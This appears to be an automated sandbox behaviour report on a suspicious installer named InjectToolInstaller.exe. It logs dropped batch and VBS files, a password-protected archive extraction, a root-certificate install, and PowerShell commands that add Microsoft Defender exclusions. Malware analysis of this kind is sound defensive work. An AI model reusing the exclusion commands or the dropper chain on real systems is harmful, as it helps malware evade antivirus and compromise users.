Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\insta313tg.exe "C:\Users\user\AppData\Local\Temp\insta313tg.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process created: C:\Users\user\AppData\Local\Temp\insta313tg.exe "C:\Users\user\AppData\Local\Temp\insta313tg.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7zS48C4B291\run.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\installer.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\1.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\data.exe C:\Users\user\AppData\Local\Temp\data.exe -p"hty6u57tfg" -d"C:\Users\user\AppData\Local\Temp\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe NET FILE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /C "C:\Users\user\AppData\Local\Temp\1.bat"
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 FILE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe NET FILE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\data.exe C:\Users\user\AppData\Local\Temp\data.exe -p"hty6u57tfg" -d"C:\Users\user\AppData\Local\Temp\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs"
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 FILE
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\insta313tg.exe "C:\Users\user\AppData\Local\Temp\insta313tg.exe"
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process created: C:\Users\user\AppData\Local\Temp\insta313tg.exe "C:\Users\user\AppData\Local\Temp\insta313tg.exe"

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: InjectToolInstaller.exe

Static file information: File size 57739400 > 1048576

Source: InjectToolInstaller.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: InjectToolInstaller.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: InjectToolInstaller.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: InjectToolInstaller.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: InjectToolInstaller.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: InjectToolInstaller.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: InjectToolInstaller.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: InjectToolInstaller.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: insta313tg.exe, 0000002A.00000002.471726274.0000000004CB0000.00000004.08000000.00040000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470797690.00000000034EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: insta313tg.exe, 0000002A.00000002.471726274.0000000004CB0000.00000004.08000000.00040000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470797690.00000000034EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\git-sdk-64\usr\src\MSYS2-packages\p7zip\src\p7zip_16.02.bup\CPP\7zip\Bundles\SFXSetup\ReleaseD\7zSD.pdb source: InjectToolInstaller.exe
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: data.exe, 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmp, data.exe, 00000018.00000000.406984919.000000013F2CC000.00000002.00000001.01000000.00000006.sdmp, data.dat.2.dr
Source:	Binary string: protobuf-net.pdb source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp

Source: InjectToolInstaller.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: InjectToolInstaller.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: InjectToolInstaller.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: InjectToolInstaller.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: InjectToolInstaller.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains potential unpacker

Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 42.2.insta313tg.exe.37f2788.5.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 42.2.insta313tg.exe.4860000.6.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 42.2.insta313tg.exe.4860000.6.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 42.2.insta313tg.exe.4860000.6.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 42.2.insta313tg.exe.4860000.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 42.2.insta313tg.exe.4860000.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 42.2.insta313tg.exe.4cb0000.7.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 42.2.insta313tg.exe.3843ef0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.insta313tg.exe.57d0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.470797690.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.472107089.00000000057D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.470471234.000000000254E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: insta313tg.exe PID: 2604, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_0058C7F0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

48_2_0058C7F0

Source: C:\Users\user\AppData\Local\Temp\data.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_6427428

Source: data.dat.0.dr	Static PE information: section name: .didat
Source: data.dat.0.dr	Static PE information: section name: _RDATA
Source: data.dat.2.dr	Static PE information: section name: .didat
Source: data.dat.2.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013BFD76 push ecx; ret	0_2_013BFD89
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013BFF28 push ecx; ret	0_2_013BFF3B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_043F2BC3 push eax; iretd	42_2_043F2BCD
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_049F8416 push dword ptr [ebx+esi-75h]; iretd	42_2_049F841D
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_049F8F24 push es; retf	42_2_049F8F27
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A01023 push ecx; ret	42_2_04A01024
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04A0121E pushfd ; ret	42_2_04A0121F
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04C600D4 push esp; iretd	42_2_04C600D9
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04DF3E7A push ebx; ret	42_2_04DF3E81
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 42_2_04DF3277 push esi; iretd	42_2_04DF327E
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0062FA97 push ecx; ret	48_2_0062FAAA

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs

Installs new ROOT certificates

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Users\user\AppData\Local\Temp\data.exe	File created: C:\Users\user\AppData\Local\Temp\21.mp3	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\data.dat	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\data.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File created: C:\Users\user\AppData\Local\Temp\7zS48C4B291\data.dat	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\data.exe

File created: C:\Users\user\AppData\Local\Temp\21.mp3

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_005D55B0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

48_2_005D55B0

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\net.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\net.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\net.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\net.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\net.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\net.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
